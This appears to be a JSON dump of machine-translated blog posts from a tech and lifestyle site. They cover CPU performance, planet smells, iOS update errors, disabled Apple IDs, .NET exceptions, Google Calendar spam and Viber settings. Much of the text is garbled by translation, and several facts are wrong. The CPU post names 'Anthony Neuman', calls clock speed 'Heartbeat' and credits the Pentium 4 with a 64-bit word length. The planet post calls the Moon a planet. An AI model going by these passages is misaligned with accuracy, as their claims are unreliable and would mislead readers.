will have more options to handle office tasks.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqmxMKeo2annqG2r7GMqKWloZ6aeqe70Wadq52V\n","link":"/post/how-to-use-excel-online-online-for-free/","section":"post","tags":null,"title":"How to use Excel Online online for free"},{"body":"Scientists rely on the chemical composition that is predominantly in the atmosphere of each planet to determine their smell without putting their foot on it to smell.\nInteresting discovery of strange planets outside the solar system Detects the hottest outer planet in the universe, with temperatures up to 4,327 ° C Since Mercury is the closest planet to the Sun, most of the atmosphere here is affected by the solar wind. The atmosphere on this planet is very fragile, the main component is sodium so the planet is almost odorless.\nThe atmosphere on Venus is extremely dense and has a pressure greater than 90 times the atmospheric pressure on Earth's sea surface. It is also filled with sulfuric acid clouds so the planet has a pungent odor of rotten eggs.\nThe Martian atmosphere with a synthesis of iron, acid, magnesium, sulfur in an atmosphere of high CO2 should also have the smell of Venus.\nJupiter has many different atmospheric layers, so the smell of this gas giant varies with the atmosphere. The outer atmosphere contains a lot of ammonia, so it smells like glass cleaner, while the lower atmosphere contains lots of hydrogen cyanide, so it has an almond-like odor.\n  Scientists have not identified the smell on Saturn, but the planet's Titan moon with a nitrogen atmosphere could potentially smell like a petroleum refinery.\nUranus is almost odorless because its atmosphere contains hydrogen, helium and about 2% of methane. Neptune has a smell similar to Uranus.\nBecause astronauts set foot on the Moon to collect samples of rock on this planet, scientists need not judge what it smells like. According to astronauts, the satellite smells like gunpowder after burning.\nncG1vNJzZmismaXArq3KnmWcp51ksaqwjLKmrmWbo7y4ecyaqaxlppq7tr%2BMoZisZaKkwbWxzWacoJ9dqLqmuMtmmKecXam1pnnMqKanZaOisq240mamn2WXqruxu9adnKs%3D\n","link":"/post/mars-venus-has-rotten-egg-smell-and-the-moon-smells-of-gunpowder/","section":"post","tags":null,"title":"Mars, Venus has rotten egg smell and the Moon smells of gunpowder"},{"body":"The CPU, also known as the central processor, is one of the most important components that constitutes a computer system. The CPU is treated as a brain, helping to run and handle almost all the tasks you perform on your computer. As with other hardware components, CPU processing power is also differentiated by the price and technology used on it, so have you ever wondered what factors affect the performance of a CPU? Or if you want to improve the power of the CPU, how to do it? If yes, all your questions will be answered in this article, please come to the problem now!\n  4 simple ways to check the configuration and hardware information of computers and laptops In fact, there are seven main factors that play an important role in deciding how fast computers can meet the user's information processing requirements. Or to put it more simply, the factors affecting CPU performance include:\nNumber of cores Cache (Cache) Heartbeat Word length Bus address width Data bus width Hyperthreading Let's start with the number of multipliers In Anthony Neuman's method, which is the computer architecture method used by most computers, the instructions will only be fetched and executed one by one. More specifically, a core is usually the unit of CPU or we can understand simply that each core is a separate CPU. Before 2005 the CPU had only one core, so the clock was the gold parameter of the manufacturers. However, today we have the presence of quad-core and quad-core computers in which each core contains its own execution and fetch cycle, creating a new direction for increasing the performance of CPU. This means that modern processors with multiple cores can give computing speeds two or four times faster than previous traditional processors. However, it is theoretically, but in fact, the speed of a processor must also depend a lot on the software it is running. Not all software is designed to take advantage of quad-core or dual-core CPUs. For example, game software and video editing software are often written to make the most of technology as well as the advantages of multi-core, while word processing or spreadsheet software is completely backwards. again.\n  One of the biggest benefits that multi-core technology offers is in multitasking. With a multi-core CPU, each task will be processed by a kernel, the remaining cores will go into sleep mode until another task is requested. In the past, if only one system was used, the system would almost freeze if a program failed.\n10 things to know about 4-core processors Heartbeat The processor requires a clock to work correctly. A clock cycle is equivalent to 1Hz, ie one cycle per second. The speed of a computer is usually at gigahertz (GHz) level, equivalent to billions of cycles per second. Typical clock speeds of today's CPUs range from 2 to 4GHz.\n  Before the emergence of multi-core CPUs, clock is the parameter representing the performance of the CPU. For example, 3.0GHz, 2.8GHz, etc., the size of the clock will be proportional to the speed of the CPU. However, high-speed CPUs consume a lot of energy and produce a larger amount of heat. Therefore, if the temperature surpasses the heat resistance of the CPU, the system will automatically reduce the clock to reduce the temperature, resulting in a reduced processing speed of the computer.\nIn addition, technology limitations as well as huge funding in trying to increase the clock have led manufacturers to find another way to improve CPU performance, and the main solution here is is a multi-core CPU that we just learned above.\nOverclock CPU, GPU and RAM easily and safely Cache (Cache)   \nCache is a small amount of high-performance RAM (random access memory) built into the CPU. This amount of RAM will store the data used by the processor many times and it does not require the use of space from the system memory. This type of data plays a very important role in the rapid processing of games, video editors and other applications on the system.\nIn other words, the cache is used for CPU to reduce access time to main memory, the bigger the cache the more efficient the CPU is. To make it easier to imagine, you can imagine the cache as a road name sign. In a city where there are thousands of roads, if you don't have a specific sign, you will find it complicated and time-consuming to find your way. Cache capacity usually falls only a few KB to a few MB, but plays a very important role in determining the speed of the CPU in particular and the whole system in general.\nClear the Windows 10 Update Cache to free up memory space Word length   \nWord length is the word length of the CPU. This is the number of bits that the CPU can handle simultaneously within a specific time period. For example, 32-bit processors offer faster processing speeds than 16-bit processors because it simply has a wider word length. Word length of a normal computer system ranges from 32 to 64 bits.\nHere are three examples of how CPU speed and word length can vary:\nThe 8088 processor has 4.77MHz clock speed and word length is 8 bits. The 80486 processor has clock speeds from 50 to 80MHz and has a word length of 32 bits. The Pentium 4 processor has a clock speed of between 1.5 gigahertz and 3.2 gigahertz, and has a word length of 64 bits. The width of the address bus   \nThe address bus width can be interpreted as the width of the address bus and serves to determine the maximum number of address locations. For example, if you have an 8-bit address bus, this means you can own up to 256 addresses. These addresses or memory locations will be numbered from 0 to 255.\nOf course, the wider the width of your address bus, the more accessible memory will be.\nHow is the CPU produced?\nData bus width   \nData bus widths can be roughly understood as the number of bits that can be transmitted simultaneously from one device to another. Usually the data bus will be the same size as the address bus but not always. If the data bus is 16 bits and the address bus is 32 bits, the data will be fetched in 2 x 16 bit groups.\nHyperthreading (Hyper-Threading) Hyperthreading is a technology that allows two logical CPU cores to share physical execution resources. This can quickly improve processing speed. For example, if a virtual CPU is stagnant and has to wait, then another virtual CPU can borrow its execution resources. Hyper-threading can help speed up your system, but it won't be as effective as the fact that your machine is actually added. In early processors, there is usually only one core and is divided into two streams. But Intel's modern CPUs now have both true core and super-threading technology.\n  In terms of the tasks that most of us use everyday such as web browsing, email and word processing, hyperthreading will not have much effect, in other words, the impact is negligible. In theory, hyper-threading will help the chip work better in multi-tasking. However, today's processors are so fast, that basic programs rarely get delayed by the speed of the processor.\nHowever, when you are trying to do some hard work, hyperthreading will definitely prove much more useful. This can be seen most clearly through 3D image editing programs, audio transcoding applications, heavy video and scientific applications built for maximum multi-threaded performance, which will be super times. streaming can increase performance by up to 30%\nThese are 7 basic factors that determine the processing speed of a CPU. Hope the information in the post is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02admpukpL%2B0ecCfnZ6bpGKwscGMqZyrnp%2BnuqK6wp4%3D\n","link":"/post/what-factors-affect-cpu-performance/","section":"post","tags":null,"title":"What factors affect CPU performance?"},{"body":" 4 effective ways to help you waste your time every day Don't complain, remember the 16 things to do to live a life without regret Attendance of 20 things is wasting your money When you were a child, did you ever dream of growing up to be an astronaut, a singer or an engineer? And what does that dream look like now? Hope those dreams will come true when living with your dreams. However, for those who have not fulfilled their dreams, they may have one of the following 13 signs - signs that you are \"wasting\" time in vain and never dare to admit it. receive. Invite you to consult!\n1. Spend too much time doing things not to do   Game online. Live. Surf the web. Eat too many things. Fuddle. And more. Take your life seriously. What do you spend most of your day on? And what does it mean to you? Does it help you build a bright future? If the answer is no, you really need to review those actions and change them in a positive way .\n2. Too much complaint   Obviously we have all met people who are always dissatisfied with life and they constantly complain to you about their feelings at that time. Do you see yourself as one of them? Are you complaining about your job, boss, monthly salary, neighbor or mate?\nIf so, all you are doing is spreading negative energy .\nRemember that negativity does not improve anything but only makes you stuck in those problems. So change the way you think and talk about things that make you feel grateful in life, not about things you don't like.\n3. Don't think   If you do not regularly learn and develop yourself, your mind will become stagnant, like a pond that is watered, inedible and covered by algae on the surface. The same thing will happen to your brain if you don't let it work continuously.Challenging yourself in a positive way in your life will help your thinking be more sensitive and not weaken it.\nSee more: If you don't feel good enough, remember these 14 things carefully!\n4. Underestimate yourself   Self-questioning can make you successful or can ruin your life. Henry Ford once said: ' Even if you think you can or can't do anything, you're always right .' If you tell yourself that you are not talented enough to get promoted or start a business, it will really be that way.\nIf you feel yourself getting tired of changing your life and not continuing your efforts, you'll also find yourself giving up. The problem is, whatever you tell yourself will \" fit in \" with the present life. Therefore, carefully control what you tell yourself .\n5. No passion   Do you love or are passionate about something in life? Surely we have met many people who think they have no passion at all. But in fact there is never such a thing happening. There must be something that makes you feel excited or interested in doing. Therefore, you need to check that any work makes you feel excited and want to do it more.\n6. Do not plan for the future   Although living with ' present ' and hard with ' every moment ' is a good thing, but sometimes you also need to look forward to see where you want to go.\nIf there is no clear goal or plan, you will be like a boat wandering around in the ocean, hoping you will visit some interesting shore. But that never happened.\nYou must have a specific plan, detailed instructions on the steps to take to achieve the goal. It is like a GPS navigation device that helps to reach your destination, you also need separate \"locators\" for your life.\n7. Spend too much time on people who don't help you improve   Sometimes we often get stuck in making friends with people who can't help us improve. If you do so for a long time, you will be dragged down to the depths of stagnation. Many people call it ' Energy Vampires '. They drain your vitality and don't give you anything positive. Instead, go find people who strive to improve themselves to make friends.\n8. Phone 'addiction'   Of course, mobile phones are a great smart electronic device for everyone. However, think about the time you wasted with your phone . Worse, think about the relationships that could be broken by the mobile phone itself.\nHave you ever sent a message or surfed the web while dining with your wife and children? If so, you are missing the opportunity to live in meaningful moments with your loved ones or are cutting down on the planning time for that future.\nSee also: Why shouldn't we reply to every message right away?\n9. Spend money on useless things   There is a clear difference between \" need \" and \" want \". Does this mean that we all have been studying since kindergarten? However, in today's modern society, it seems that the boundary between these two words is gradually erased.\nIn fact, there are people who cannot pay for rent but still purchase the most suitable electronic technology equipment. If you think more carefully, our essential needs are actually relatively small, just need food, water, shelter and affection . All other things are just added.\nTry to look back and see where you are spending your money and consider adjusting it appropriately. Maybe you can cut a lot of money into useless things and save a little bit to invest in the future.\n10. Lack of sleep   There are many people who are not doctors, but have the opportunity to read many books and be aware of the importance of sleep to the body. They can even list benefits and sleep importance up to 20 pages long.\nSleep is the basic and essential element for good health . If you are so busy that you don't have enough sleep time or you simply have a habit of making \"night owls \", then re-evaluate your habits.\n11. Don't care about yourself   Not only is sleep important for health, but also for food and exercise. You probably already know these things, but a healthy, balanced diet and regular physical activity not only helps you lose weight but also offers more positive effects. It affects the mental and physical condition of the body.\nTherefore, consider your daily diet and exercise , maybe you will realize that just a few small changes can help improve your life significantly.\n12. Do not dare to leave your own safety zone   Of course everyone understands the feeling of comfort when living in a safe area. In fact, when you go to a familiar restaurant, you only order the same items, not because you are afraid to try new things, but simply like what you call. However, this is not the safe area that the article is talking about.\nWhat I want to mention in this article is the acceptance of risks to get a better life . Note that \" risk \" and \" risk are pre-calculated \" are two completely different concepts. The risk is that there are many unpredictable things, but \" pre-calculated risk \" is the case where you have considered all possibilities and have found an appropriate action plan.\n13. Live life that you don't want to   For many people, the measure of success is the level of happiness of each person. Are you happy If not, you should change something. Even feeling satisfied, contented is not sure to say that you are living a full life. Instead, life will become much more interesting. Therefore, if you feel like you don't like or don't want to live the way you live, try a few changes to live better.\nIf you find yourself having any of these 13 things, don't be disappointed. Because you can change it now. The first thing you need to do is to avoid thinking \" I can't do it \". In many situations, your biggest obstacle is yourself. Let's start now. Change your attitude, change your life !\nSee also: There are only 25,000 mornings in my life, here are 8 ways to not waste another day\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnR50qKep6tdqbWiwIyypq5lkaeybsPArKuippdiwaq5xGagp2Wmlrav\n","link":"/post/13-signs-that-you-are-wasting-time-in-vain/","section":"post","tags":null,"title":"13 signs that you are 'wasting' time in vain"},{"body":"According to a new study, excessive use of alcohol in adolescents can lead to insomnia.\nNaomi Marmorstein, a professor at Rutgers University in Camden, USA, said: \"These findings indicate that insomnia can be the only risk sign for alcohol use among young adolescents.\"\nResearchers examined the association between alcohol use and sleep-related problems for seventh and eighth grade students.\n  When learning about sleep problems that occur in relation to the frequency of alcohol use, the researcher has checked how the symptoms of mental health problems with alcohol use are.\nThe study, published in Behaviors Addictive, examined the development of mental health problems and recovery among young people at risk of alcoholism.\nThe study participants completed the questionnaires how long they had to sleep, the times they often went to bed on a day of the week, when, on weekends or summer nights, they often experienced turmoil. how to sleep and whether they fell asleep in the classroom or had trouble staying awake after school .\nThey were also asked about the frequency of alcohol use in the previous four months.\nIn general, there is a relationship between alcohol and both night and sleeplessness, even during the day.\nMarmorstein said: \"Parents, educators and therapists should consider that insomnia can be a risk sign for alcohol use, which can increase the risk of insomnia, among young teenagers'.\nSee more:\nThings not to do after drinking alcohol, especially during Tet Blushing after drinking alcohol, the hidden sign of a dangerous disease many people don't expect What to eat, drink before drinking to avoid being drunk during Tet holidays? ncG1vNJzZmismaXArq3KnmWcp51ksbO1zaSgp59dlnqtu9Nmpp9lkaGwsLTOpWScmZ5iuaatw2arqGWZo8Cwuc2imGahnmKupbvLnqqcnZ6pwA%3D%3D\n","link":"/post/drinking-a-lot-of-alcohol-can-lead-to-insomnia-in-adolescents/","section":"post","tags":null,"title":"Drinking a lot of alcohol can lead to insomnia in adolescents"},{"body":"As we all know, iOS 11.2.6 is a new version released by Apple in recent days. You may not miss this version to upgrade your new operating system to your device. It is known that the upgrade takes place quite simply, but there are also some cases encountered errors during the download and installation process. To make this process more convenient, you definitely need to know the iOS 11.2.6 upgrade errors and how to fix them if you accidentally encounter.\nVideo compares iOS 11.2.5 and iOS 11.2.2 speed on iPhone 6, 6s, 7, 8 How to turn off \"features\" to slow down Apple computers without waiting for iOS 11.3 Instructions to turn off iOS update notifications 1. Slow iOS 11.2.6 update error Reason:\nThere have been many people complaining the process of updating iOS 11.2.6 on iPhone, iPad takes place very slowly, although this updated version is less than 100MB (only from 30MB to 60MB). In fact, the cause of this is due to your poor Internet connection through Wifi, 3G, 4G connection.\n  How to fix:\nTo fix the iOS 11.2.6 update error that takes place \"slowly like a turtle\", you need to ensure the Wifi connection on iPhone and iPad has a high degree of stability. Avoid downloading this update using 3G, 4G connection on the device if you do not want to charge the phone fee excessively according to the packages you are using.\n2. Error Verifying Update iOS 11.2.6 \u0026nbsp; when updating, Update Reason:\nVerifying Update iOS error when updates usually occur on each new version of this operating system released. And with iOS 11.2.6 is no exception, many people have encountered when trying to perform the latest iOS 11.2.6 update for their device. Usually this error stems from the process of connecting data from the device to the iOS 11.2.6 update registration system, there is a problem.\n  How to fix:\nWhen unable to search for the latest update version, please restart the device. Can perform iOS 11.2.6 update at a different time. Make sure the connectivity, Internet access from 3G or Wifi connection on your device is stable. 3. iOS 11.2.6 update collapsed source Reason:\nA follow-up error that you may encounter is that when you just started iOS 11.2.6 update, the device crashed. It is possible that you have chosen to upgrade iOS for iPhone with OTA, but the battery life on iPhone and iPad is low and there is not enough data loading process, so an error occurred.\nHow to fix:\nThe easiest way to fix the iOS 11.2.6 update error is to shut down the source. Please connect the device to the charger to limit the process of collapsing the source when iPhone and iPad are having low battery life during the update process. . In case, iPhone, iPad has collapsed source when upgrading iOS 11.2.6, you need to put device into DFU mode and Restore iPhone to rescue device at this time.\n4. An error occurred during iOS 11.2.6 update with iTunes Reason:\nMost of the causes of having iOS 11.2.6 update errors with iTunes often come from the fact that you haven't checked and used the latest version of iTunes tool, along with the main iOS 11.2.6 Firmware version loaded. from Apple.\n  How to fix:\nDownload and install the latest iTunes tool to fix an error when updating iOS 11.2.6. Download iOS 11.2.6 Firmware suitable for the device you are using from the Apple homepage. 5. Computer does not accept iPhone for iOS 11.2.6 update Reason:\nThis error often happens to those who use iOS 11.2.6 update with iTunes, the computer does not recognize the iPhone will prevent you from continuing the iOS upgrade process for the device. The main reason may come from the connection port, the connecting cable on the computer has a problem.\n  How to fix:\nIf you encounter a situation where your computer does not receive iPhone for iOS 11.2.6 update, you can refer to the following options:\nYou need to confirm the reliability after connecting your iPhone to your computer on the phone screen with the computers that first connect to iTunes. Check if the computer can recognize the iPhone by changing the cord, the port that connects the iPhone to the computer. If the two ways still don't work, learn more about how to fix computer errors that don't accept iPhones in iTunes so that you can quickly handle this situation. 6. iPhone does not find iOS 11.2.6 update Reason:\nThe reason your iPhone doesn't find iOS 11.2.6 updates is because of two main reasons:\nYour iPhone, iPad device does not meet the requirements for iOS 11.2.6 updates (from iPhone 5s and above). Most likely your iPhone, iPad device has installed iOS update blocking. How to fix:\nFor the first case, there is no other way to overcome that you have to upgrade to a new device. However, with iPhone devices that have accidentally blocked iOS updates, you can fix the problem below:\nStep 1:\nYou access Settings and then move to General settings . Here you scroll down and select Configuration .\nStep 2:\nNow select the configuration of iOS update block that was previously installed on iPhone and click the Delete configuration item to fix the error when upgrading iOS 11.2.6 this update cannot be found.\nAbove are all the errors when upgrading iOS 11.2.6, hopefully with the information on you can continue the steps to perform iOS 11.2.6 upgrade for your device. And for those of you who still don't have a clear understanding of this update and are wondering if iOS 11.2.6 should be upgraded? Then refer to the article we shared earlier.\nHope the article is useful to you.\nSee more:\nIPhone battery exploded due to being bitten by customers to check quality iPhone 8 Plus fast battery bottle nearly 50% compared to the old iPhone? How to increase the size of your iPhone when memory runs out ncG1vNJzZmismaXArq3KnmWcp51ksrO%2BzquqZq%2BYmrtuwc%2BgqZqcmaO0brXOrGRqaWJreqK6w2afqK9dqbxussixZKKs\n","link":"/post/errors-when-upgrading-ios-11-2-6-and-how-to-fix-it/","section":"post","tags":null,"title":"Errors when upgrading iOS 11.2.6 and how to fix it"},{"body":"Owning an active Apple ID is a must if you want to use an iOS device, so if your Apple ID is disabled, this will be a real problem.In this case, you will not be able to perform important tasks, from things like buying an application on the App Store to updating information, registering for payment through Apple ID.A disabled Apple ID can be a big problem but it is only when you are not yearly fix.In fact, it's not too difficult to fix a disabled Apple ID.\nHow do I know your Apple ID account has been disabled? When your Apple ID is disabled, iOS devices will notify you.In addition, you will not be able to perform any tasks related to your Apple ID.You will also see a message on the screen telling you about this problem.The exact message you see may vary depending on the version of iOS you are using, as well as the cause of this situation, but usually it will be:\nThis Apple ID has been disabled for security reasons. You cannot log in because your account has been disabled for security reasons. This Apple ID has been locked for security reasons.   If you see any of these warnings, you can be sure that your Apple ID has a problem.\nWhy has your Apple ID been disabled?   \nAfter receiving one of the above notifications, surely the biggest question is, of course, why is your Apple ID disabled?Funny, the answer is already in Apple's announcement: For security reasons.More specifically, Apple will automatically disable your Apple ID when someone tries to log in to that ID too many times, Apple recognizes this through passwords, security questions or other account information. too much wrong input.\nThis can happen just because you forgot or you accidentally entered the wrong password too many times.However, it is likely that someone is trying to gain unauthorized access to your Apple account.\nThere is a common password hacking technique that tries to log in to an account with all the predictions for information like passwords.And in order for an attacker not to try to log in multiple times to detect your password, Apple will disable that Apple ID account after only a few times the password is entered incorrectly.After that, only the actual user who owns the account and knows the appropriate security information can reactivate the account.\nWhen your Apple ID is disabled, you will not be able to log in (even if you have used the correct password) until you reactivate the account.\nHow to fix an Apple ID is disabled How to re-enable Apple ID is disabled quite simply.If you use two-factor authentication to protect your account, proceed to the next section in this article.If not, follow these steps:\nFirst, visit the Apple website to reset your Apple ID: https://iforgot.apple.com/ Try logging in to your account with your correct Apple ID username (email address) and password. If this doesn't work or if you don't remember your password, you can choose to reset your Apple ID password. Whichever option you choose, follow the on-screen prompts to unlock your account or reset your password. Tip: For full, detailed instructions, step by step on how to reset your Apple ID, refer to the article: How to change your Apple ID password ?.This article also includes how to reset accounts when you use two-factor authentication.\nIn case of using two-factor authentication:\nSome people want to add additional security capabilities to their Apple ID account using two-factor authentication.With this method, you can only access the Apple ID if you know both your username and password, along with a randomly generated code provided by Apple when you try to log in.\nIn that case, the process of fixing your disabled Apple ID is quite similar to the one above.The only difference is that you need to have access to one of the trusted devices you specified when setting up two-factor authentication at first.Apple will send a random piece of code to the device while you unlock or reset your Apple ID.\nNote: If you re-enable Apple ID by changing the password, you may need to log in to Apple ID with a new password on all your devices, including iCloud, FaceTime, and apps. other.\nContact Apple to get more technical support\nIf you follow the instructions to re-login or reset your Apple ID and Apple ID passwords that have not been reactivated, you should contact Apple for assistance.You can go to the Apple Store close to where you live to get live support, and must make an appointment (but there is no Apple Store in Vietnam yet), or you can get online support from Apple.\nGood luck!\nSee more:\nHow to create iPhone ringtones with iTunes Top best iOS emulators help run applications on Windows Instructions on how to recover deleted messages on iPhone How to transfer 11 subscribers to 10 numbers in the iPhone phone book ncG1vNJzZmismaXArq3KnmWcp51ks6rEjJqnqaSVYralecSrqaiqXZm2tK3BpZyd\n","link":"/post/fix-apple-id-error-disabled/","section":"post","tags":null,"title":"Fix Apple ID error disabled"},{"body":" This wikiHow teaches you how to configure your Mac or PC to safely shut down at a certain time. Make sure you save your files frequently so you don't lose data during a shutdown. Open the Task Scheduler app. If you want your scheduled...\nMethod 1of 4:\nScheduling Regular Shutdowns for Windows  Open the Task Scheduler app. If you want your scheduled shutdown to occur more than once, you'll want to use Task Scheduler. Task Scheduler is available on all versions of Windows. Here's how to find it: Windows 10: Press ⊞ Win+S to open the search bar, type task scheduler, and then click Task Scheduler in the search results. Windows 8: Press the ⊞ Win key, type schedule tasks, and then click Schedule tasks in the results. Windows 7: Click the Start menu, select Control Panel, and then choose System and Security. Click Administrative Tools and then click Task Scheduler.   Click Create Basic Task in the \"Actions\" panel. It's at the top of the panel on the right side of the window. This opens the \"Create a Basic Task\" wizard.\n  Type Shutdown timer for the name and click Next.\n  Select when you want the task to activate and click Next. For example, if you want the computer to turn off every night at 11:30 PM, select Daily. If this is just a one-time scheduled thing, select One time.\n  Enter the time and date and click Next. For example, let's say that beginning on July 19, 2019, you want your PC to shut down nightly at 11:30 PM. You'd enter 7/19/2019 into the date field, and 11:30:00 PM into the time field. Leave the \"Recur ever: X days\" setting to \"1\" if you want the action to occur every day.   Select \"Start a program\" and click Next.\n  Type the path to the shutdown.exe app into the \"Program/script\" box. The location should be C:WindowsSystem32shutdown.exe unless you've changed the letter for your Windows drive.\n  Type /s into the \"Add arguments\" field and click Next.\n  Review your shutdown task and click Finish. The summary screen gives you a chance to review the scheduled date(s) and time(s) for the shutdown. Once you save your task, the computer will shut down at the scheduled time. If you need to edit or delete your task, open Task Scheduler and click the Task Scheduler Library folder in the left panel. When you find your task in the center panel, right-click it to find the option to edit Properties or Delete the task.   Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56tLTUrWSdp6ejerq71KtknKedpcK1sdFmmK1lkWLAsbHCop2inZRiwaq5xA%3D%3D\n","link":"/post/how-to-automatically-shut-down-your-computer-at-a-specified-time/","section":"post","tags":null,"title":"How to Automatically Shut Down Your Computer at a Specified Time"},{"body":"The Unhandled exception exception has nothing to do with a specific application making it more difficult to resolve. Some users also see a Unhandled exception has occurred in your application . If you click Continue , the application will ignore this error and try to continue. If you click Quit , the application will close immediately.\nIf you see this error while using a specific application, you should fix the problem with that application. But how? This article will guide you some ways to fix Unhandled exception has occurred on Windows 10.\n  How to fix Unhandled Exception Has Occurred error on Windows 10 1. Update operating system and application 2. Scan your computer for malware 3. Troubleshooting process 4. Install the .NET Framework 5. Run the .NET Framework repair tool 6. Uninstall and reinstall the .NET Framework 7. Perform SFC scanning 8. Clean Clean and access Safe Mode 1. Update operating system and application Updating Windows 10 to the latest version can correct some errors in the system. Click Win + I to open Settings and click Updates \u0026amp; Security .\n  In Windows Update, check for any updates, if there are updates and restart the computer.\n  If this error occurs when using a specific application, update that application. If it is a Windows Store application, open it and click on the Download icon to search and install application updates.\n  Restart the computer again and check if the error has disappeared.\n2. Scan your computer for malware Windows Defender runs in the background to scan for malware. If using third-party anti-malware, anti-malware software, open it and perform a full system scan. Follow the instructions on the screen if the software finds something.\n  Remove root malware (malware) on Windows 10 computers 3. Troubleshooting process Windows 10 comes with several integrated troubleshooting options, you can use it to find and fix errors in Windows and Microsoft applications. Click Win + I to open Settings and search for troubleshooting Windows Store apps , select Find and fix problems with Microsoft Store apps .\n  Follow the instructions on the screen. If you find something, it will try to repair or provide a solution.\n20 useful troubleshooting tools for Windows 10 4. Install the .NET Framework Have you installed the .NET Framework on your computer? This is Microsoft's free software that compiles and executes programs written in different languages. It provides interoperability between different coding languages. If not, just click on the link below and download the latest version, then install it.\nhttps://dotnet.microsoft.com/download/dotnet-framework    5. Run the .NET Framework repair tool Although many third-party tools can fix the .NET Framework, you should try the official Microsoft tool first. Download and install the .NET Framework Repair Tool using the link below. Run it to see if anything is found. Restart the computer when completed to check again\n  6. Uninstall and reinstall the .NET Framework This error is usually related to the .NET Framework. In fact, due to the complexity of this software, it is easy to make many mistakes. Windows 8 or later users skip this step because there is no way to uninstall the .NET Framework on newer versions.\n  Open Control Panel and click on Uninstall a program . You will see a list of installed applications on your computer. Find the .NET Framework , you can see more than one .NET Framework, right-click them and select Uninstall .\n  Reinstall the .NET Framework using the link on part 4.\n7. Perform SFC scanning System File Scan or SFC will search for corrupted files and fix them for you. If the Unhandled exception has occurred error occurred due to a corrupted file, SFC will find the culprit causing the error. To perform SFC scanning, open the Command Prompt with administrative rights and type the command below.\n sfc / scannow    8. Clean Clean and access Safe Mode Follow the instructions in the article How to implement Clean Boot on Windows 10/8/7 to perform Clean boot and how to enter Safe Mode Windows 10 when starting to enter safe mode.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq2useapZ2klZl6psTCnqetoZ%2Bjeqmt0mamnJulp7%2BmsIyeqaunoqh6sLqMsKCnnJ%2BswG59jw%3D%3D\n","link":"/post/how-to-fix-unhandled-exception-has-occurred-errors-on-windows-10/","section":"post","tags":null,"title":"How to fix Unhandled Exception Has Occurred errors on Windows 10"},{"body":"There are hundreds of Google Calendar users reporting that receiving event notifications they didn't create. These events are really junk advertising and a potential phishing threat. If you encounter this problem, please read the following article to remove spam in Google Calendar.\nGoogle Calendar troubleshooting doesn't sync with iPhone Making Google Calendar more useful with these free calendar applications How to turn on Dark Mode on Google Keep and Google Calendar It seems that spammers have figured out how to exploit the combination of Google Calendar and Gmail. By default, if you receive a calendar invitation in Gmail, Google Calendar will automatically add events even if the user does not accept the invitation.\nTherefore spammers start adding calendar invitations to emails with attractive titles and shady links. These messages can go straight to the junk folder and you won't see it in Gmail.\nHow to remove spam in Google Calendar First, go to the Google Calendar website, log in with your Google account to receive spam, then click the jagged icon in the top right corner and select Settings .\n  Now, select General from the menu on the left of the screen to see more options. Here, select Event settings . In this menu, find the Automatically add invitations option and click on it, then select No, only show invitations to which I have responded from the list.\n  Next, select View option from the side menu, then make sure to uncheck the box next to Show discount event .\n  Finally, click Events from Gmail , then uncheck Automatically add events from Gmail to my calendar . Now, spam invitations will not be able to find the way to the calendar anymore, but you must delete the calendar event manually added.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYysp5qlXZ67brPOqJ6lnV2Yrq2xzZ2Yqw%3D%3D\n","link":"/post/how-to-remove-spam-in-google-calendar/","section":"post","tags":null,"title":"How to remove spam in Google Calendar"},{"body":"To turn off mail notifications in Windows 10, simply follow the simple step-by-step instructions below.\nStep 1: Open the Mail application on your computer.\nStep 2: In the lower left corner of the window, click the Settings icon.\nStep 3: Select Notifications .\nStep 4:\nOption 1: Select the account you want to disable notifications on the drop-down menu at the top of the screen, then tick the box next to Show a notification banner .\nOption 2: Slide the switch button next to Show notifications in the Action Center .\n  Step 5: Now, open the Windows Settings app.\nStep 6: Go to System .\nStep 7: In the left panel, click Notifications and actions .\nStep 8: Scroll down to Get notifications from these senders .\nStep 9: Slide the switch button next to Mail and Calendar to the Off position.\nTo receive a notification again, reverse the steps above.\nI wish you all success!\nSee more:\nTop free email services Add a Gmail account to the Mail application 7 simple steps turn Gmail into an application on the desktop ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKaZmaF6r7vTop2im5GptrC60magp2Wnnrulu9asZGpo\n","link":"/post/how-to-turn-off-mail-notifications-in-windows-10/","section":"post","tags":null,"title":"How to turn off mail notifications in Windows 10"},{"body":"Zalo and Viber are great communication applications, making it easier for users to exchange chat and texting today. These applications also provide enough versions for phones and computers. All data from messages, media files will be synchronized, enabling us to quickly access from computer or phone.\nHowever, the synchronization feature on chat apps sometimes also annoys users, such as syncing media files, images on Viber apps. When mobile connects to WiFi or mobile data, images sent on the computer will automatically be synchronized to the device. If you don't like it, you can turn off auto image sync on Viber.\nHow to hide, hide the chat content, chat on Viber Instructions to remove, remove members of the Viber chat group Note to readers , when this feature is turned off the image will not be automatically saved on the phone, so users are forced to save them directly if the image is sent on the Viber PC version.\nDownload Viber PC Download Viber for Mac Download Viber on Android Download Viber iOS Video tutorial to turn off photo syncing on Viber Step 1:\nFirst you access the Viber application on the device. At the home page interface, click on the 3 dashes icon in the top left corner of the screen. A list of settings appears for Viber, click Settings .\n   Step 2:\nIn the Settings list go to Image gallery . Under the default settings on Viber, images will automatically be downloaded to the device when we connect to WiFi or mobile data network.\nTo cancel the image synchronization feature on Viber phone and computer, turn off 2 options Automatically download media files on mobile network and Automatically download multimedia files when connecting to WiFi .\n    With iOS devices, you also access the Settings and Media section, then push the horizontal bar to the left in the two options are Save to Gallery and Auto download photos to turn off automatically downloading images to the device. So you can turn off the feature to automatically download media files, photos to your phone when you have an Internet connection.\n   Thus the image will no longer be automatically downloaded to the phone when users use the Viber application. Turning off photo syncing on Viber will mean you have to save the image directly with the necessary images.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK%2Bhkpq%2FbrzHqKuoZaOuu6R5zqdknKedpcK1sdGsZJqmlGK9qbvNnqo%3D\n","link":"/post/how-to-turn-off-viber-photo-sync-on-computers-and-phones/","section":"post","tags":null,"title":"How to turn off Viber photo sync on computers and 